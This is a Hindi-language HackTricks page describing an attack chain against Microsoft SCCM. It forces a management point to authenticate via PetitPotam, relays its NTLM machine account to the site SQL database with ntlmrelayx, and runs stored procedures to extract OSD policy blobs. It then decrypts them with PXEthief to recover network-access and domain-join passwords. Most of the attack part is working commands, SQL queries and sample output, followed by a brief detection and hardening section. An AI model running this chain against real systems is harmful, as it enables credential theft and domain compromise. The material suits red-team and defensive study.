SCCM प्रबंधन बिंदु NTLM रिले से SQL – OSD नीति गुप्त निष्कर्षण
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
TL;DR
एक System Center Configuration Manager (SCCM) प्रबंधन बिंदु (MP) को SMB/RPC के माध्यम से प्रमाणीकरण करने के लिए मजबूर करके और उस NTLM मशीन खाते को साइट डेटाबेस (MSSQL) में रिले करके आप smsdbrole_MP
/ smsdbrole_MPUserSvc
अधिकार प्राप्त करते हैं। ये भूमिकाएँ आपको एक सेट स्टोर की गई प्रक्रियाओं को कॉल करने की अनुमति देती हैं जो ऑपरेटिंग सिस्टम डिप्लॉयमेंट (OSD) नीति ब्लॉब्स (नेटवर्क एक्सेस खाता क्रेडेंशियल, कार्य-क्रम चर, आदि) को उजागर करती हैं। ब्लॉब्स हेक्स-कोडित/एन्क्रिप्टेड होते हैं लेकिन PXEthief के साथ डिकोड और डिक्रिप्ट किए जा सकते हैं, जिससे स्पष्ट गुप्त जानकारी मिलती है।
उच्च-स्तरीय श्रृंखला:
- MP और साइट DB खोजें ↦ बिना प्रमाणीकरण के HTTP एंडपॉइंट
/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA
। ntlmrelayx.py -t mssql://<SiteDB> -ts -socks
प्रारंभ करें।- PetitPotam, PrinterBug, DFSCoerce, आदि का उपयोग करके MP को मजबूर करें।
- SOCKS प्रॉक्सी के माध्यम से
mssqlclient.py -windows-auth
के रूप में रिले किए गए\ खाते के साथ कनेक्ट करें।$ - निष्पादित करें:
use CM_<SiteCode>
exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''
exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'
(याMP_GetPolicyBodyAfterAuthorization
)
0xFFFE
BOM को स्ट्रिप करें,xxd -r -p
→ XML →python3 pxethief.py 7 <hex>
।
गुप्त जानकारी जैसे OSDJoinAccount/OSDJoinPassword
, NetworkAccessUsername/Password
, आदि बिना PXE या क्लाइंट को छुए पुनर्प्राप्त की जाती हैं।
1. बिना प्रमाणीकरण वाले MP एंडपॉइंट्स की गणना करना
MP ISAPI एक्सटेंशन GetAuth.dll कई पैरामीटर को उजागर करता है जिन्हें प्रमाणीकरण की आवश्यकता नहीं होती (जब तक कि साइट केवल PKI न हो):
पैरामीटर | उद्देश्य |
---|---|
MPKEYINFORMATIONMEDIA | साइट साइनिंग सर्टिफिकेट का सार्वजनिक कुंजी + x86 / x64 सभी अज्ञात कंप्यूटर उपकरणों के GUID लौटाता है। |
MPLIST | साइट में हर प्रबंधन बिंदु की सूची बनाता है। |
SITESIGNCERT | प्राथमिक-साइट साइनिंग सर्टिफिकेट लौटाता है (LDAP के बिना साइट सर्वर की पहचान करें)। |
GUIDs प्राप्त करें जो बाद में DB क्वेरी के लिए clientID के रूप में कार्य करेंगे:
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
2. MP मशीन खाते को MSSQL पर रिले करें
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
जब मजबूरी सक्रिय होती है, आपको कुछ ऐसा देखना चाहिए:
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
3. OSD नीतियों की पहचान करें संग्रहीत प्रक्रियाओं के माध्यम से
SOCKS प्रॉक्सी के माध्यम से कनेक्ट करें (डिफ़ॉल्ट रूप से पोर्ट 1080):
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
CM_CM_001
)।
3.1 अज्ञात-कंप्यूटर GUIDs खोजें (वैकल्पिक)
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
3.2 असाइन की गई नीतियों की सूची
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
प्रत्येक पंक्ति में PolicyAssignmentID
, Body
(hex), PolicyID
, PolicyVersion
शामिल हैं।
नीतियों पर ध्यान दें:
- NAAConfig – नेटवर्क एक्सेस खाता क्रेडेंशियल्स
- TS_Sequence – कार्य अनुक्रम चर (OSDJoinAccount/Password)
- CollectionSettings – इसमें रन-एज़ खाते हो सकते हैं
3.3 पूर्ण बॉडी प्राप्त करें
यदि आपके पास पहले से PolicyID
और PolicyVersion
है, तो आप clientID आवश्यकता को छोड़ सकते हैं:
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
महत्वपूर्ण: SSMS में "अधिकतम वर्ण पुनर्प्राप्त" बढ़ाएँ (>65535) अन्यथा ब्लॉब काट दिया जाएगा।
4. ब्लॉब को डिकोड और डिक्रिप्ट करें
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
पुनर्प्राप्त किए गए रहस्य का उदाहरण:
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
5. प्रासंगिक SQL भूमिकाएँ और प्रक्रियाएँ
रिले के दौरान लॉगिन को निम्नलिखित से मैप किया जाता है:
smsdbrole_MP
smsdbrole_MPUserSvc
इन भूमिकाओं में दर्जनों EXEC अनुमतियाँ होती हैं, इस हमले में उपयोग की जाने वाली प्रमुख अनुमतियाँ हैं:
स्टोर की गई प्रक्रिया | उद्देश्य |
---|---|
MP_GetMachinePolicyAssignments | एक clientID पर लागू नीतियों की सूची। |
MP_GetPolicyBody / MP_GetPolicyBodyAfterAuthorization | पूरी नीति का शरीर लौटाएँ। |
MP_GetListOfMPsInSiteOSD | MPKEYINFORMATIONMEDIA पथ द्वारा लौटाया गया। |
आप पूर्ण सूची की जांच कर सकते हैं:
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
6. पहचान और हार्डनिंग
- MP लॉगिन की निगरानी करें – कोई भी MP कंप्यूटर खाता यदि किसी IP से लॉगिन कर रहा है जो इसका होस्ट नहीं है ≈ रिले।
- साइट डेटाबेस पर प्रामाणिकता के लिए विस्तारित सुरक्षा (EPA) सक्षम करें (
PREVENT-14
)। - अप्रयुक्त NTLM को निष्क्रिय करें, SMB साइनिंग को लागू करें, RPC को प्रतिबंधित करें (
PetitPotam
/PrinterBug
के खिलाफ उपयोग की गई समान रोकथाम)। - MP ↔ DB संचार को IPSec / आपसी-TLS के साथ हार्डन करें।
अन्य देखें
- NTLM रिले के मूलभूत सिद्धांत:
- MSSQL दुरुपयोग और पोस्ट-एक्सप्लॉइटेशन:
संदर्भ
- मैं आपके प्रबंधक से बात करना चाहूंगा: प्रबंधन बिंदु रिले के साथ रहस्यों की चोरी
- PXEthief
- Misconfiguration Manager – ELEVATE-4 & ELEVATE-5
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।